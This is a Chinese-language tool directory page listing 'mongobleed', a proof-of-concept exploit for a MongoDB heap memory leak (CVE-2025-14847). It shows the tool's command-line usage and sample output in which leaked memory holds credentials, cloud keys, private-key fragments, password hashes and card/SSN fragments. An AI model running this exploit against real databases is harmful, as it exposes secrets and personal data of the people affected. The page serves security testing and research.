Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
mongobleed — CVE-2025-14847 针对 MongoDB 堆内存信息泄露的 PoC 漏洞利用程序 | Kitploit
工具/GitHubGitHub/im-hanzou/mongobleed
内存取证漏洞分析漏洞利用数据泄露秘密检测数据库安全
GitHubim-hanzou/mongobleed

mongobleed

CVE-2025-14847 针对 MongoDB 堆内存信息泄露的 PoC 漏洞利用程序

查看仓库
7个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

mongobleed

CVE-2025-14847 是针对 MongoDB 通过 OP_COMPRESSED 缓冲区过度读取(buffer over-read)导致堆内存泄露的漏洞利用工具。

用法

root@kitploit:~
$ bundle exec ruby mongobleed.rb --help
Usage: mongobleed.rb [options]
        --host HOST                  Target host (default: localhost)
        --port PORT                  Target port (default: 27017)
        --min-offset MIN             Min doc length (default: 20)
        --max-offset MAX             Max doc length (default: 8192)
        --output FILE                Output file (default: leaked.bin)
    -h, --help                       Show this help

输出

root@kitploit:~
$ bundle exec ruby mongobleed.rb --host 10.0.2.15 --port 27017
root@kitploit:~
============================================================
  Mongobleed - CVE-2025-14847 MongoDB Memory Leak
  Author: Demetrius Ford - github.com/demetriusford
============================================================

[*] Target: 10.0.2.15:27017
[*] Offset range: 20 to 8192
[*] Starting memory scan...

[+] Offset 0089 | Size:   14 bytes | ismaster????
[+] Offset 0124 | Size:   37 bytes | ??_id??ObjectId("6721a3f8b2c4e5d6f7a8b9c0")
[+] Offset 0203 | Size:   52 bytes | mongodb://appuser:[email protected]
[+] Offset 0287 | Size:   16 bytes | admin??customers
[+] Offset 0344 | Size:   28 bytes | ?saslSupportedMechs?SCRAM-S
[+] Offset 0412 | Size:   41 bytes | {"mechanism":"SCRAM-SHA-256","user":"dbAdmin
[+] Offset 0509 | Size:   19 bytes | ??localThresholdMS?
[+] Offset 0678 | Size:   64 bytes | AWS_ACCESS_KEY_ID=AKIAVRUVQGZA7EXAMPLE9??AWS_SECRET_ACCESS_KEY=wJ
[+] Offset 0891 | Size:   38 bytes | alrKV9+OxPjQ3zDh8EXAMPLE1a2b3c4d5e6f7g8
[+] Offset 0956 | Size:   22 bytes | ??operationTime????
[+] Offset 1034 | Size:   47 bytes | client??driver??name?MongoDB Internal Client??v
[+] Offset 1187 | Size:   29 bytes | clusterTime??signature??hash
[+] Offset 1256 | Size:   58 bytes | -----BEGIN RSA PRIVATE KEY-----??MIIEowIBAAKCAQEA2f
[+] Offset 1398 | Size:   31 bytes | 9xK7mZjp+EXAMPLE+KEY+DATA+HERE
[+] Offset 1534 | Size:   44 bytes | ??authSource=admin&replicaSet=atlas-prod-shard
[+] Offset 1702 | Size:   26 bytes | JWT_SECRET=d8f2a91b7c3e4
[+] Offset 1819 | Size:   35 bytes | [email protected]??role?
[+] Offset 1967 | Size:   18 bytes | ??passwordHash??$2b
[+] Offset 2103 | Size:   42 bytes | $12$rK8xJ2pL.N7mQvYsU3wXeO9Df4HgI5jKlMnO
[+] Offset 2287 | Size:   33 bytes | ??sessions????lastUse????txnNumb
[+] Offset 2456 | Size:   51 bytes | MONGO_INITDB_ROOT_PASSWORD=xt7Gh!92kLpQz@mongodb_adm
[+] Offset 2634 | Size:   27 bytes | ??creditCard??4532????8721
[+] Offset 2891 | Size:   24 bytes | ??ssn??XXX-XX-4532????ho
[+] Offset 3102 | Size:   39 bytes | stripe_sk_live_51H7xKLExample8q9RtY2vN
[+] Offset 3344 | Size:   16 bytes | ??cursorId??????
[+] Offset 3512 | Size:   48 bytes | ENCRYPTION_KEY=aGVsbG93b3JsZHRoaXNpc2FiYXNlNjRr

============================================================
[*] Scan complete!

[*] Total leaked data: 6847 bytes
[*] Unique fragments: 312
[*] Output saved to: leaked.bin

------------------------------------------------------------
[!] Scanning for sensitive patterns...
------------------------------------------------------------
[!] Potential secret detected: PASSWORD
[!] Potential secret detected: SECRET
[!] Potential secret detected: KEY
[!] Potential secret detected: ADMIN
[!] Potential secret detected: AKIA
------------------------------------------------------------

背景

该工具利用了 MongoDB 的 OP_COMPRESSED 处理器对 uncompressed_size 校验不足的漏洞。BSON 解析器会越界读取消息边界后的堆内存,并通过错误消息泄露数据。

选项:--host、--port、--min-offset、--max-offset、--output

免责声明

仅限授权安全测试。基于 Joe Desimone (@dez_) 的研究。

下载工具